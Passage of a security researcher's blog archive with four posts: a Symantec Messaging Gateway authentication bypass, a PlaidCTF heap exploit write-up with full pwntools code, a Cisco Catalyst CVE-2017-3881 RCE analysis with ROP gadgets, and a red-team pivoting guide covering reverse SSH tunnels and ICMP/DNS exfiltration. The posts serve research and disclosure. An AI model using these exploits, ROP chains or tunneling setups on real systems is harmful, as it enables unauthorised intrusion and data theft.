Artem Kondratenko

Symantec Messaging Gateway authentication bypass

2018-10-10T00:00:00+00:00

When conducting security assessments sometimes there is no quick way past external perimeter of the customer’s network. As a last resort option one may commit to an extensive research of the few software appliances the client has exposed. This approach will often yield results, as it was the case with Symantec Messaging Gateway.

Like in most login interfaces a password reset feature is present. “Forgot password” link appears after unsuccessful login attempt. The username is prompted afterwards. What happens under the hood is that SMG creates a password reset link. It puts an encrypted token in the link in order to make sure that the password is reset by the genuine owner of the account.

That’s where the vulnerability is present. The string format of the token before encryption is “username:password”. Sounds fair enough as this enables SMG to check the token against a valid user password. Incidentally, when we tried “admin:” for a token, the system behaved in an unusual way. It generated a valid administrator session!

Of course the token is encrypted, so how do we get the key? Luckily there has been a previous research for a similar bug in Symantec Gateway. Philip Pettersson found an authentication bypass that encrypted a parameter in a similar manner. He talks about a hardcoded key:

Fortunately, the encryption is just PBEWithMD5AndDES using a static password, 
conveniently included in the code itself. I won't include the encryption password 
or a fully encrypted notify string in this post.

Indeed, the key is static across SMG installations. We won’t disclose the key in this post. If one encrypts the following string - “admin:” and passes it as a value for GET parameter “authorization” he will receive a valid admin session. Example request:

GET /brightmail/action2.do?method=passwordReset&authorization=<..>%3d HTTP/1.1
Host: 192.168.17.15
Connection: close
Cache-Control: max-age=0
Origin: https://192.168.17.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Expected response:

HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Cache-Control: no-store,no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Frame-Options: SAMEORIGIN
Set-Cookie: JSESSIONID=97B8786DB8CC163EB2A4C595D1028E1D; Path=/brightmail; Secure; HttpOnly
Location: /brightmail/viewWelcome.do?userID=1
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Connection: close

Surely enough the cookie generated is a valid administrator session:

To our knowledge the vulnerability is only present if the password reset feature is enabled in the appliance. At the time of testing the vulnerable version was 10.6.5. Symantec has released an advisory for this issue:

https://support.symantec.com/en_US/article.SYMSA1461.html

Disclosure timeline

Vendor contacted - 11/07/2018
Vendor assigned Tracking ID - 11/07/2018
Vendor published vulnerability advisory, patched software versions released - 12/09/2018

We would like to thank Symantec for their prompt response and professionalism in dealing with the vulnerability.

PlaidCTF 2017 “bigpicture” write-up (pwn 200)

2017-04-24T00:00:00+00:00

Task description:

Size matters!

We’re presented with a x86_64 ELF binary, libc it’s using and the source code.

$ nc bigpicture.chal.pwning.xxx 420 
Let's draw a picture!
How big?  1 x 1
> 0 , 0 , A 
> q
A
Bye!

The source:

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>

int width, height;
char *buf;

void plot(int x, int y, char c);
void draw();

int main() {
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);
	setbuf(stderr, NULL);
	alarm(100);
	puts("Let's draw a picture!");
	fputs("How big? ", stdout);
	scanf(" %d x %d", &width, &height);
	buf = calloc(width, height);
	if(buf == NULL) {
		perror("malloc");
		return -1;
	}
	char c;
	while(1) {
		fputs("> ", stdout);
		int x, y;
		if(scanf(" %d , %d , %c", &x, &y, &c) != 3)
			break;
		plot(x, y, c);
	}
	if(scanf(" quit%c", &c) != 1)
		draw();
	puts("Bye!");
	free(buf);
	return 0;
}

char *get(size_t x, size_t y) {
	return &buf[x * height + y];
}

void plot(int x, int y, char c) {
	if(x >= width || y >= height) {
		puts("out of bounds!");
		return;
	}
	char *ptr = get(x, y);
	if(*ptr != 0)
		printf("overwriting %c!\n", *ptr);
	else
		*ptr = c;
}

void draw() {
	int x, y;
	char c;
	for(y = height-1; y >= 0; y--) {
		for(x = 0; x < width; x++) {
			c = *get(x, y);
			if(c == 0)
				c = ' ';
			if(putchar(c) != c)
				return;
		}
		putchar('\n');
	}
}

This is a plot drawing binary. You enter the matrix size and fill it up with characters. At the end the resulting matrix is printed back to you. The program allocates width * height bytes on the heap to store plot values.

The actual vulnerability is in the plot function:

void plot(int x, int y, char c) {
	if(x >= width || y >= height) {
		puts("out of bounds!");
		return;
	}
	char *ptr = get(x, y);
	if(*ptr != 0)
		printf("overwriting %c!\n", *ptr);
	else
		*ptr = c;
}

Note, that both width and height variables are signed, but only upper bounds are checked. Specifying negative signed values allows us to read arbitrary non-zero values in the memory before heap or write arbirary values in case the target memory is zero. Unfortunately the binary’s relocation section is write-protected and ASLR was on. There was no obvious way to affect the control flow of the program given the only memory before the heap was the .text and .data sections of the binary. This is the case when the amount of data allocated on the heap is less then M_MMAP_THRESHOLD value on the system. If the value is less the this constant then brk() system call is used to increase program break and heap is in fact allocated in the .data section of the binary. Quote from man:

Note: Nowadays, glibc uses a dynamic mmap threshold by default. The initial value of the threshold is 128*1024

Luckily for us we can force calloc() to use mmap() to map new memory segment using the value equal to or greater than 128*1024. This way we observe the heap being just below libc.so at a fixed offset:

  Start Addr           End Addr       Size     Offset   objfile
0x55c718337000     0x55c718338000     0x1000        0x0 bigpicture
0x55c718538000     0x55c718539000     0x1000     0x1000 bigpicture
0x55c718539000     0x55c71853a000     0x1000     0x2000 bigpicture
0x7f1d3d9b8000     0x7f1d3db76000   0x1be000        0x0 libc-2.19.so
0x7f1d3db76000     0x7f1d3dd75000   0x1ff000   0x1be000 libc-2.19.so
0x7f1d3dd75000     0x7f1d3dd79000     0x4000   0x1bd000 libc-2.19.so
0x7f1d3dd79000     0x7f1d3dd7b000     0x2000   0x1c1000 libc-2.19.so
0x7f1d3dd7b000     0x7f1d3dd80000     0x5000        0x0 
0x7f1d3dd80000     0x7f1d3dda3000    0x23000        0x0 ld-2.19.so
0x7f1d3df72000     0x7f1d3df96000    0x24000        0x0 <---- HEAP
0x7f1d3dfa0000     0x7f1d3dfa2000     0x2000        0x0 
0x7f1d3dfa2000     0x7f1d3dfa3000     0x1000    0x22000 ld-2.19.so
0x7f1d3dfa3000     0x7f1d3dfa4000     0x1000    0x23000 ld-2.19.so
0x7f1d3dfa4000     0x7f1d3dfa5000     0x1000        0x0 
0x7fff67f57000     0x7fff67f78000    0x21000        0x0 [stack]
0x7fff67fa3000     0x7fff67fa5000     0x2000        0x0 [vvar]
0x7fff67fa5000     0x7fff67fa7000     0x2000        0x0 [vdso]

We want to overwrite the __free_hook pointer at libc’s data section with address of system(). It is used by the free function:

This hook is placed in the .bss section of libc at a fixed offset:

.bss:00000000003C57A8    public __free_hook ; weak
.bss:00000000003C57A8    ; __int64 (__fastcall *_free_hook)(_QWORD, _QWORD)

To figure out the absolute address of system() we need to leak the address of some location in libc. Again, we can use .got section of libc which contains pointer to free() funcion at a fixed address:

.got:00000000003C2F98    free_ptr    dq offset free    ; DATA XREF: j_free_r

Last thing we have to do is write /bin/sh string to the memory allocated on the heap as its reference will be passed to the free function, which is effectively replaced with system().

Exploit code

from pwn import *
from time import sleep
from struct import unpack, pack
import sys
import re

#libc 2.23

offset_to_start_libc = -0x5c2010 
offset_system = 0x045390
offset_free = 0x083940
offset_ptr_free = 0x03C2F98
offset_free_hook = 0x3C57A8

pc = remote('bigpicture.chal.pwning.xxx', 420)
pc.sendline(' 131072 x 1\n')  # 128 * 1024
pc.recv()

pointer_buf = ''

for i in range(-8, -2):
	off = offset_to_start_libc + offset_ptr_free + 8
	pc.sendline(' {} , {} , A\n'.format(off, i))
	sleep(0.5)
	res = pc.recv()
	byte =  re.search("overwriting (.{1})!", res).group(1)
	pointer_buf += byte

offset_abs_free = unpack("<Q", pointer_buf + '\x00\x00')[0]

print 'Free address:', hex(offset_abs_free) 

offset_abs_system = offset_abs_free - (offset_free - offset_system)

print 'System address:', hex(offset_abs_system)
print 'Overwriting __free_hook ptr with system address'

for k, i in enumerate(range(-8,-2)):
	byte_to_send = pack("<Q", offset_abs_system)[k]
	off = offset_to_start_libc + offset_free_hook + 8
	pc.sendline(' {} , {} , {}\n'.format(off , i, byte_to_send))	
	sleep(0.5)

print 'Writing "/bin/sh" to heap'

for k, i in enumerate(range(-8, 0)):
	byte_to_send = '/bin/sh\x00'[k]
	pc.sendline(' {} , {} , {}\n'.format(8 , i, byte_to_send))	
	sleep(0.5)

pc.sendline(' q')
pc.interactive()

# python sploit.py
[+] Opening connection to bigpicture.chal.pwning.xxx on port 420: Done
Free address: 0x7f973313d940
System address: 0x7f97330ff390
Overwriting __free_hook ptr with system address
Writing "/bin/sh" to heap
[*] Switching to interactive mode
$ cat /home/bigpicture/flag
PCTF{draw_me_like_one_of_your_pwn200s}

CVE-2017-3881 Cisco Catalyst RCE Proof-Of-Concept

2017-04-10T00:00:00+00:00

Do you still have telnet enabled on your Catalyst switches? Think twice, here’s a proof-of-concept remote code execution exploit for Catalyst 2960 switch with latest suggested firmware. Check out the exploit code here. What follows is a detailed write-up of the exploit development process for the vulnerability leaked from CIA’s archive on March 7th 2017 and publicly disclosed by Cisco Systems on March 17th 2017. At the time of writing this post there is no patch available. Nonetheless there is a remediation - disable telnet and use SSH instead.

Vault 7 CIA leak

A series of CIA’s documents were leaked on March 7th 2017 and published on WikiLeaks. Among other publications there was an interesting preauth code execution vulnerability that affected multiple Cisco switches. This vulnerability is code-named ROCEM in the leaked documents. Although very few technical details were mentioned, few things stand out.

The Vault 7’s documents shed a light on the testing process for the actual exploit. No exploit source code is available in the leak. Two use cases are highlighted there - the tool can be launched in either interactive mode or set mode. The interactive mode sends the payload via telnet and immediately presents the attacker with command shell in the context of the same telnet connection. Quote from the doc:

Started ROCEM interactive session - successful:

root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -i 192.168.0.254
[+] Validating data/interactive.bin
[+] Validating data/set.bin
[+] Validating data/transfer.bin
[+] Validating data/unset.bin
****************************************
Image: c3560-ipbase-mz.122-35.SE5
Host: 192.168.0.254
Action: Interactive
****************************************
Proceed? (y/n)y
Trying 127.0.0.1...
[*] Attempting connection to host 192.168.0.254:23
Connected to 127.0.0.1.
Escape character is '^]'.
[+] Connection established
[*] Starting interactive session
User Access Verification
Password:
MLS-Sth#

MLS-Sth# show priv
Current privilege level is 15
MLS-Sth#show users
Line User Host(s) Idle Location
* 1 vty 0 idle 00:00:00 192.168.221.40
Interface User Mode Idle Peer Address
MLS-Sth#exit
Connection closed by foreign host.

Set mode. Modify switch memory in order to make any
subsequent telnet connections passwordless. Quote from the doc:

Test set/unset feature of ROCEM
DUT configured with target configuration and network setup
DUT is accessed by hopping through three flux nodes as per the CONOP
Reloaded DUT to start with a clean device
From Adverse ICON machine, set ROCEM:
root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -s 192.168.0.254
[+] Validating data/interactive.bin
[+] Validating data/set.bin
[+] Validating data/transfer.bin
[+] Validating data/unset.bin

****************************************
Image: c3560-ipbase-mz.122-35.SE5
Host: 192.168.0.254
Action: Set
****************************************

Proceed? (y/n)y
[*] Attempting connection to host 192.168.0.254:23
[+] Connection established
[*] Sending Protocol Step 1
[*] Sending Protocol Step 2
[+] Done
root@debian:/home/user1/ops/adverse/adverse-1r/rocem#

Verified I could telnet and rx priv 15 without creds:

root@debian:/home/user1/ops/adverse/adverse-1r/rocem# telnet 192.168.0.254
Trying 192.168.0.254...
Connected to 192.168.0.254.
Escape character is '^]'.

MLS-Sth#

MLS-Sth#show priv
Current privilege level is 15
MLS-Sth#

One piece of information being useful for me in researching this vulnerability was a telnet debug output. Quote from the doc:

14. Confirm Xetron EAR 5355 - Debug telnet causes anomalous output 
  1.Enabled debug telnet on DUT
  2.Set ROCEM
  3.Observed the following:
    000467: Jun 3 13:54:09.330: TCP2: Telnet received WILL TTY-SPEED (32) (refused)
    000468: Jun 3 13:54:09.330: TCP2: Telnet sent DONT TTY-SPEED (32)
    000469: Jun 3 13:54:09.330: TCP2: Telnet received WILL LOCAL-FLOW (33) (refused)
    000470: Jun 3 13:54:09.330: TCP2: Telnet sent DONT LOCAL-FLOW (33)
    000471: Jun 3 13:54:09.330: TCP2: Telnet received WILL LINEMODE (34)
    000472: Jun 3 13:54:09.330: TCP2: Telnet sent DONT LINEMODE (34) (unimplemented)
    000473: Jun 3 13:54:09.330: TCP2: Telnet received WILL NEW-ENVIRON (39)
    000474: Jun 3 13:54:09.330: TCP2: Telnet sent DONT NEW-ENVIRON (39) (unimplemented)
    000475: Jun 3 13:54:09.330: TCP2: Telnet received DO STATUS (5)
    000476: Jun 3 13:54:09.330: TCP2: Telnet sent WONT STATUS (5) (unimplemented)
    000477: Jun 3 13:54:09.330: TCP2: Telnet received WILL X-DISPLAY (35) (refused)
    000478: Jun 3 13:54:09.330: TCP2: Telnet sent DONT X-DISPLAY (35)
    000479: Jun 3 13:54:09.330: TCP2: Telnet received DO ECHO (1)
    000480: Jun 3 13:54:09.330: Telnet2: recv SB NAWS 116 29
    000481: Jun 3 13:54:09.623: Telnet2: recv SB 36 92 OS^K'zAuk,Fz90X
    000482: Jun 3 13:54:09.623: Telnet2: recv SB 36 0 ^CCISCO_KITS^Ap

Note the CISCO_KITS option received by the service on the last line. This proved to be an important string.

Cisco advisory

On March 17th 2017 Cisco Systems disclosed a vulnerability present in their switches. This disclosure was based on the documents from Vault 7:

A vulnerability in the Cisco Cluster Management Protocol (CMP) processing code in Cisco IOS and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause a reload of an affected device or remotely execute code with elevated privileges.

Not much details were available at the time of writing this article, except for the following paragraph:

The Cluster Management Protocol utilizes Telnet internally as a signaling and command protocol between cluster members. The vulnerability is due to the combination of two factors:

The failure to restrict the use of CMP-specific Telnet options only to internal, local communications between cluster members and instead accept and process such options over any Telnet connection to an affected device, and

The incorrect processing of malformed CMP-specific Telnet options.

Long story short, the vulnerability allows the attacker to exploit telnet service to gain remote code execution on the target switch. But in order to make any use of this advisory I needed more information on the matter. So I decided dig deeper into Cisco Cluster Management Protocol.

Switch clustering

All right! I had two Catalyst 2960 switches for researching this vulnerability. Clustering sets a master-slave relation between switches. Master switch is able to get a privileged command shell on the slave. As Cisco mentioned in its advisory, telnet is used as a command protocol between cluster members. Some info on clustering can be found here and here’s an example of setting up a cluster environment.

Now to look for cluster traffic between them. The following should be in the master switch config:

cluster enable CLGRP 0
cluster member 1 mac-address xxxx.xxxx.xxxx

This will add a nearby switch as a cluster slave. rcommand <num> allows to get command interface on a slave switch from the master’s interface. This is expected by design.

catalyst1>rcommand 1
catalyst2>who
    Line       User       Host(s)              Idle       Location
*  1 vty 0                idle                 00:00:00 10.10.10.10

  Interface      User        Mode                     Idle     Peer Address

Let’s look at the traffic generated by rcommand:

Hey! Where da hell is telnet traffic? Advisory clearly states:

The Cluster Management Protocol utilizes Telnet internally as a signaling and command protocol between cluster members.

Ok, running show version to see some more traffic:

catalyst2>show version
Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE1, RELEASE SOFTWARE (fc1)

Aha! Telnet traffic is actually being encapsulated into layer 2 LLC packet. If we look close enough we will notice IP packets inside with chopped MAC addresses at source and destination fields. Inside those “IP” packets reside valid TCP frames with a telnet session.

A telnet session is usually preceded by negotiating telnet options. Among them are: terminal size, terminal type etc. Take a look at the RFC for more info.

Right before being presented with the welcome catalyst2> message an interesting telnet option is transfered to the server side:

Here you can see a telnet option “CISCO_KITS” sent from the master switch to the slave. The very same string present in the Vault 7 documents during the execution of exploit. Time to take a closer look at the switch internals.

Peeking at firmware

Firmware is located at flash:<version>.bin on the switch.

catalyst2#dir flash:
Directory of flash:/

    2  -rwx     9771282   Mar 1 1993 00:13:28 +00:00  c2960-lanbasek9-mz.122-55.SE1.bin
    3  -rwx        2487   Mar 1 1993 00:01:53 +00:00  config.text

Built-in ftp client allows to transfer this firmware to an arbitrary ftp server. Ok, now to analyze and extract contents of the file with binwalk:

$ binwalk -e c2960-lanbasek9-mz.122-55.SE1.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
112           0x70            bzip2 compressed data, block size = 900k

In order to facilitate static analysis of the resulting binary we better know the firmware load offset. This offset is printed to serial console during boot process:

Loading "flash:c2960-lanbasek9-mz.122-55.SE1.bin"...@@@@@@@@@@@@@@@@@@@@@@
File "flash:c2960-lanbasek9-mz.122-55.SE1.bin" uncompressed and installed,
entry point: 0x3000
executing...

Fire up IDA and let’s roll. CPU architecture is PowerPC 32-bit BigEndian. Load the binary at 0x3000:

Discovering strings

Remember the CISCO_KITS string in the cluster traffic I captured before? This was my starting point. After discovering most of the functions in IDA, I was able to see the cross-refrences to the strings located at the end of firmware.

“CISCO_KITS” string is referenced by return_cisco_kits function, which just returns this string as char *. We will focus out attention on on the call_cisco_kits function at 0x0004ED8C which calls return_cisco_kits.

Because telnet code is rather symmetrical for client and server here we actually can see the format of the buffer that is being sent to the server side - %c%s%c%d:%s:%d:. This actually goes in line with the observed traffic where the sent buffer was \x03CISCO_KITS\x012::1:

if ( telnet_struct->is_client_mode ) // client mode? then send "CISCO_KITS" string
{
    if ( telnet_struct->is_client_mode == 1 )
    {
      cisco_kits_string_2 = (char *)return_cisco_kits();
      int_two = return_2();
      tty_str = get_from_tty_struct((telnet_struct *)telnet_struct_arg->tty_struct);
      *(_DWORD *)&telnet_struct_arg->tty_struct[1].field_6D1;
      format1_ret = format_1(
                               128,
                               (int)&str_buf[8],
                               "%c%s%c%d:%s:%d:",
                               3,
                               cisco_kits_string_2,
                               1,
                               int_two,
                               tty_str,
                               0);
      telnet_struct = (telnet_struct *)telnet_send_sb(
                                         (int)telnet_struct_arg,
                                         36,
                                         0,
                                         &str_buf[8],
                                         format1_ret,
                                         v8,
                                         v7,
                                         v6);
    }
}

Notice something? There are two %s string modifiers but only one string is actually present in the traffic sample which is CISCO_KITS, the second one is empty and is confined between two : chars. Further observing the control flow of the very same function I noticed some funny behaviour when dealing with the second string (this time the server-side portion of the code):

for ( j = (unsigned __int8)*string_buffer; j != ':'; j = (unsigned __int8)*string_buffer )// put data before second ":" at &str_buf + 152
{
    str_buf[v19++ + 152] = j;
    ++string_buffer;
}

The data we sent over in the second %s string is actually copied until : char without checking the destination boundaries while the target buffer resides on the stack. What does this look like? Correct! ~~Buffalo~~ buffer overflow!

Getting code execution

Getting control of the instruction pointer was easy as it was overwritten with the buffer I sent (btw I used IODIDE for debugging). The problem was that heap and stack (which resides on the heap) were not executable. My best bet is that this is actually the effect of data and instruction caches enabled. Here’s a slide from Felix Lindner’s presentation at BlackHat 2009:

ROPing a way out

Since there wasn’t a way to execute code on the stack I had to use it as a data buffer and reuse existing code in the firmware. The idea is to chain function epilogs in a meaningful way to perform arbitrary memory writes. But wait, write what? Take a look at the decompiled function at 0x00F47A34:

if ( ptr_is_cluster_mode(tty_struct_var->telnet_struct_field) )
{
  telnet_struct_var = tty_struct_var->telnet_struct_field;
  ptr_get_privilege_level = (int (__fastcall *)(int))some_libc_func(0, (unsigned int *)&dword_22659D4[101483]);
  privilege_level = ptr_get_privilege_level(telnet_struct_var);// equals to 1 during rcommand 1
  telnet_struct_1 = tty_struct_var->telnet_struct_field;
  ptr_telnet_related2 = (void (__fastcall *)(int))some_libc_func(1u, (unsigned int *)&dword_22659D4[101487]);
  ptr_telnet_related2(telnet_struct_1);
  *(_DWORD *)&tty_struct_var->privilege_level_field = ((privilege_level << 28) & 0xF0000000 | *(_DWORD *)&tty_struct_var->privilege_level_field & 0xFFFFFFF) & 0xFF7FFFFF;
}
else
{
  //generic telnet session
}

Interesting things happen here. First thing to emphasize is that both calls of ptr_is_cluster_mode and ptr_get_privilege_level are made indirectly by referencing global variables. Check line at address 0x00F47B60 - is_cluster_mode function address is being loaded from dword at 0x01F24A7. In a similar way the address of get_privilege_level is being loaded from r3 register at 0x00F47B8C. At this point r3 contents is a dereferenced pointer residing at address 0x022659D4 + 0x28 + 0xC.

If the ptr_is_cluster_mode call returns non zero and ptr_get_privilege call returns a value that differs from -1 we will be presented with a telnet shell without the need to provide any credentials. Variable privilege_level is being checked for its value further down the code:

What if I could overwrite these function pointers to something that always return the desired positive value? Since stack and heap weren’t directly executable I had to reuse the existing code to performs such memory writes. The following ROP gadgets were used:

0x000037b4: 
    lwz r0, 0x14(r1)
    mtlr r0
    lwz r30, 8(r1)
    lwz r31, 0xc(r1)
    addi r1, r1, 0x10 
    blr

Load is_cluster_mode function pointer into r30, load the value to overwrite this pointer into r31. The value to overwrite is an address of a function that always returns 1:

0x00dffbe8: 
    stw r31, 0x34(r30)
    lwz r0, 0x14(r1)
    mtlr r0
    lmw r30, 8(r1)
    addi r1, r1, 0x10
    blr

Perform the actual write.

0x0006788c: 
    lwz r9, 8(r1)
    lwz r3, 0x2c(r9)
    lwz r0, 0x14(r1)
    mtlr r0
    addi r1, r1, 0x10
    blr

0x006ba128: 
    lwz r31, 8(r1)
    lwz r30, 0xc(r1)
    addi r1, r1, 0x10
    lwz r0, 4(r1)
    mtlr r0
    blr

Previous two gadgets load a pointer of get_privilege_level function into r3, and the value to overwrite it with into r31. The target value is a function that returns 15 (could’ve used this function for both writes tho):

0x0148e560: 
    stw r31, 0(r3)
    lwz r0, 0x14(r1)
    mtlr r0
    lwz r31, 0xc(r1)
    addi r1, r1, 0x10
    blr

This epilog makes the final write and returns to the legitimate execution flow. Of course, stack frame should be formed accordingly to make this rop chain work. Check out the exploit source to see the actual stack layout for this chain to work as intended.

Running the exploit

At the end of the day I ended up with a tool with the ability to patch function pointers responsible for credless connection and privilege level. Note that the exploit code is heavily dependent on the exact firmware version used on the switch. Using exploit code for some different firmware most probably will crash the device.

I used the knowledge from static and dynamic analysis of an older firmware SE1 to build an exploit for the latest suggested firmware 12.2(55)SE11. All the difference between firmware versions is different functions and pointers offsets. Also, the way the exploit works makes it easy to revert the changes back. Example:

$ python c2960-lanbasek9-m-12.2.55.se11.py 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.

catalyst1#show priv
Current privilege level is 15
catalyst1#show ver
Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE11, RELEASE SOFTWARE (fc3)
...

System image file is "flash:c2960-lanbasek9-mz.122-55.SE11.bin"

...

cisco WS-C2960-48TT-L (PowerPC405) processor (revision B0) with 65536K bytes of memory.
...
Model number                    : WS-C2960-48TT-L
...

Switch Ports Model              SW Version            SW Image                 
------ ----- -----              ----------            ----------               
*    1 50    WS-C2960-48TT-L    12.2(55)SE11          C2960-LANBASEK9-M        


Configuration register is 0xF

To unset this behaviour:

$ python c2960-lanbasek9-m-12.2.55.se11.py 192.168.88.10 --unset
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f\r\ncatalyst1#'
[+] Sending cluster option
[+] Unsetting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Escape character is '^]'.


User Access Verification

Password: 

This RCE POC is available here for both firmware versions. DoS version of this exploit is available as a metasploit module, it might work for most models mentioned in the Cisco advisory.

A Red Teamer’s guide to pivoting

2017-03-23T00:00:00+00:00

Penetration testers often traverse logical network boundaries in order to gain access to client’s critical infrastracture. Common scenarios include developing the attack into the internal network after successful perimeter breach or gaining access to initialy unroutable network segments after compromising hosts inside the organization. Pivoting is a set of techniques used during red team/pentest engagements which make use of attacker-controlled hosts as logical network hops with the aim of amplifying network visibility. In this post I’ll cover common pivoting techniques and tools available.

Target with public IP
- SSH port forwarding
  - VPN over SSH
- 3proxy
NAT scenario
- SSH reverse port forwarding /w 3proxy
- Rpivot
Exfiltrating from the internal network
Making use of SOCKS with proxychains
DNS with proxychains
Beutifying your web shell

Target with public IP

A prevalent scenario. Let’s say you find an RCE bug in a web-app accessible from the internet. You upload a shell and want to develop your attack into the internal network. Note that in this specific scenario you should able to bind ports on the compromised host and those ports should be accessible from the external network.

SSH port forwarding

Managed to find credentials to the SSH-service running on the host? Great! Connect to the host as follows:

ssh username@host -D 1080

This will spawn a socks server on the attacker’s side (ssh-client side). Welcome to the intranet ;) It is also possible to forward one specific port to a specific host. Let’s say you need to access an SMB share in the internal network on host 192.168.1.1.

ssh username@host -L 445:192.168.1.1:445

This way a port 445 will be opened on the attacker’s side. Note, that to bind privileged ports (such as 445) you will need root privileges on your machine.

VPN over SSH

Since openssh release 4.3 it is possible to tunnel layer 3 network traffic via an established ssh channel. This has an advantage over a typical tcp tunnel because you are in control of ip traffic. So, for example, you are able to perform SYN-scan with nmap and use your tools directly without resorting to proxychains or other proxifying tools. It’s done via the creation of tun devices on client and server side and transferring the data between them over ssh connection. This is quite simple, but you need root on both machines since the creation of tun devices is a privileged operation. These lines should be present in your /etc/ssh/sshd_config file (server-side):

PermitRootLogin yes
PermitTunnel yes

The following command on the client will create a pair of tun devices on client and server:

ssh username@server -w any:any

The flag -w accepts the number of tun device on each side separated with a colon. It can be set explicitly - -w 0:0 or you can use -w any:any syntax to take the next available tun device.

The tunnel between the tun devices is enabled but the interfaces are yet to be configured. Example of configuring client-side:

ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0

Server-side:

ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0

Enable ip forwarding and NAT on the server:

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE

Now you can make the peer host 1.1.1.1 your default gateway or route a specific host/network through it:

route add -net 10.0.0.0/16 gw 1.1.1.1

In this example the server’s external network interface is eth0 and the newly created tun devices on both sides are tun0.

3proxy

Get it here - https://github.com/z3APA3A/3proxy/releases. This tools works for multiple platforms. There are pre-built binaries for Windows. As for Linux, you will need to build it yourself which is not a rocket science, just ./configure && make :) This tool is a swiss army knife in the proxy world so it has a ton of functionality. I usually use it either as a socks proxy or as a port forwarder.

This tool gets all of its options from config file. To run it:

3proxy.exe config_file

or if you are on a Linux system:

./3proxy config_file

To run 3proxy as a socks5 proxy at port 1080 put the following line in the config:

socks -p1080

Now it’s possible to tunnel most of your pentesting tools through this proxy to develop the attack in the internal network. This is just a basic setup which is not very secure. You can play with options to place authentication and/or ip-based access control rules. Go check the full manual here - https://3proxy.ru/howtoe.asp. To tunnel a specific port use the following syntax:

tcppm <localport> <targethost> <targetport>

NAT scenario

This is by far the most common situation I encounter during engagements. The traffic to the target is being forwared on per-port basis. This means that all ports bound other than those being in the port forwarding rules won’t be accessible from outside. One possible solution is to initiate a reverse connection. The tools described below will help you with that.

SSH reverse port forwarding /w 3proxy

This pivoting setup looks something like this:

Run 3proxy service with the following config on the target server:

socks -p31337

Create a separate user on the receiving side (attacker’s machine).

adduser sshproxy

This user has to be low-privileged and shouldn’t have shell privileges. After all, you don’t want to get reverse pentested, do ya? :) Edit /etc/passwd and switch shell to /bin/false. It should look like:

root:x:0:0:root:/root:/bin/bash
...
sshproxy:x:1000:1001:,,,:/home/sshproxy:/bin/false
...

Now connect to your server with the newly created user with -R flag. Linux system:

ssh sshproxy@your_server -R 31337:127.0.0.1:31337

For windows you will need to upload plink.exe first. This is a console version of putty. To run it:

plink.exe sshproxy@your_server -R 31337:127.0.0.1:31337

The -R flag allows you to bind port on the server side. All connections to this port will be relayed to a specified port on the client. This way we can run 3proxy socks service on the client side (compromised machine) and access this port on the attacker’s host via ssh -R flag.

Rpivot

This is my favorite method of traversing NAT connections. Rpivot is a reverse socks proxy tool that allows you to tunnel traffic via socks proxy. It connects back to your machine and binds a socks proxy on it. It works just like ssh -D but in opposite direction. Server side:

python server.py --proxy-port 1080 --server-port 9999 --server-ip 0.0.0.0

Client side:

python client.py --server-ip <ip> --server-port 9999

As a result, a socks4 proxy service will be bound server side on port 1080.

Exfiltrating from the internal network

Here’s a different case. Let’s say your social engineering gig ended up placing you in the internal network. You have limited connectivity and ability to execute command on the compromised machine. Of course, if the internet is directly routed and not firewalled you can resort to any technique described above. But if you’re not so lucky there’re still ways to pivot your way out.

ICMP tunneling

If icmp traffic is allowed to external networks then most likely you can establish an icmp tunnel. The downside is that you will need root/administrator privileges on the target system becase of the necesity to use raw sockets. Check this tool out - http://code.gerade.org/hans/. Personally I’ve never tried running it on Windows. It works like a charm on Linux tho. Server side command (attacker’s machine):

./hans -v -f -s 1.1.1.1 -p P@ssw0rd

The -v flag is for verbosity, the -f flag is to run in foreground and the -s flag’s value is the server’s ip on the newly created tun interface.

Client side:

./hans -f -c <server_ip> -p P@ssw0rd -v

After successful connection the client should be directly visible at 1.1.1.100:

# ping 1.1.1.100
PING 1.1.1.100 (1.1.1.100) 56(84) bytes of data.
64 bytes from 1.1.1.100: icmp_seq=1 ttl=65 time=42.9 ms

Now you can use this machine as gate into the internal network. Use this machine a default gateway or connect to a management interface (ssh/tsh/web shell).

DNS tunneling

If any WAN traffic is blocked but external host names are resolved then there’s a possibility of tunneling traffic via DNS queries. You need a domain registered for this technique to work. This manual might help you with setting up your name server.

Iodine

If so happens that you got root access on the server you can try iodine. It works almost like hans icmp tunneling tool - it creates a pair of tun adapters and tunnels data between them as DNS queries. Server side:

iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com

Client side:

iodine -f -P P@ssw0rd tunneldomain.com -r

Successful connection will yield direct client visibility at address 1.1.1.2. Note, that this tunneling technique is quite slow. Your best bet is to use a compressed ssh connection over the resulting connection:

